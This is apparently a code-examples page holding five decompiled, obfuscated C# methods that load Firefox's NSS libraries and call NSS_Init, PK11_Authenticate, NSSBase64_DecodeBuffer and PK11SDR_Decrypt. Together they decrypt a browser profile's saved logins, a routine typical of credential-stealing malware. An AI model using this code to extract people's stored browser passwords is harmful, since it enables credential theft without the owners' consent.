Пример #1
0
        public static int smethod_4(ref Class9.Struct7 struct7_0, ref Class9.Struct7 struct7_1, int int_0)
        {
            IntPtr procAddress = Class9.GetProcAddress(Class9.intptr_0, "PK11SDR_Decrypt");

            Class9.Delegate4 @delegate = (Class9.Delegate4)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class9.Delegate4));
            return(@delegate(ref struct7_0, ref struct7_1, int_0));
        }
Пример #2
0
        public static int smethod_3(IntPtr intptr_1, IntPtr intptr_2, StringBuilder stringBuilder_0, int int_0)
        {
            IntPtr procAddress = Class9.GetProcAddress(Class9.intptr_0, "NSSBase64_DecodeBuffer");

            Class9.Delegate3 @delegate = (Class9.Delegate3)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class9.Delegate3));
            return(@delegate(intptr_1, intptr_2, stringBuilder_0, int_0));
        }
Пример #3
0
        public static long smethod_1()
        {
            IntPtr procAddress = Class9.GetProcAddress(Class9.intptr_0, "PK11_GetInternalKeySlot");

            Class9.Delegate1 @delegate = (Class9.Delegate1)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class9.Delegate1));
            return(@delegate());
        }
Пример #4
0
        public static long smethod_2(long long_0, bool bool_0, long long_1)
        {
            IntPtr procAddress = Class9.GetProcAddress(Class9.intptr_0, "PK11_Authenticate");

            Class9.Delegate2 @delegate = (Class9.Delegate2)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class9.Delegate2));
            return(@delegate(long_0, bool_0, long_1));
        }
Пример #5
0
        public static long smethod_0(string string_4)
        {
            string str = Environment.GetEnvironmentVariable("PROGRAMFILES") + "\\Mozilla Firefox\\";

            Class9.LoadLibrary(str + "mozcrt19.dll");
            Class9.LoadLibrary(str + "nspr4.dll");
            Class9.LoadLibrary(str + "plc4.dll");
            Class9.LoadLibrary(str + "plds4.dll");
            Class9.LoadLibrary(str + "ssutil3.dll");
            Class9.LoadLibrary(str + "sqlite3.dll");
            Class9.LoadLibrary(str + "nssutil3.dll");
            Class9.LoadLibrary(str + "softokn3.dll");
            Class9.intptr_0 = Class9.LoadLibrary(str + "nss3.dll");
            IntPtr procAddress = Class9.GetProcAddress(Class9.intptr_0, "NSS_Init");

            Class9.Delegate0 @delegate = (Class9.Delegate0)Marshal.GetDelegateForFunctionPointer(procAddress, typeof(Class9.Delegate0));
            return(@delegate(string_4));
        }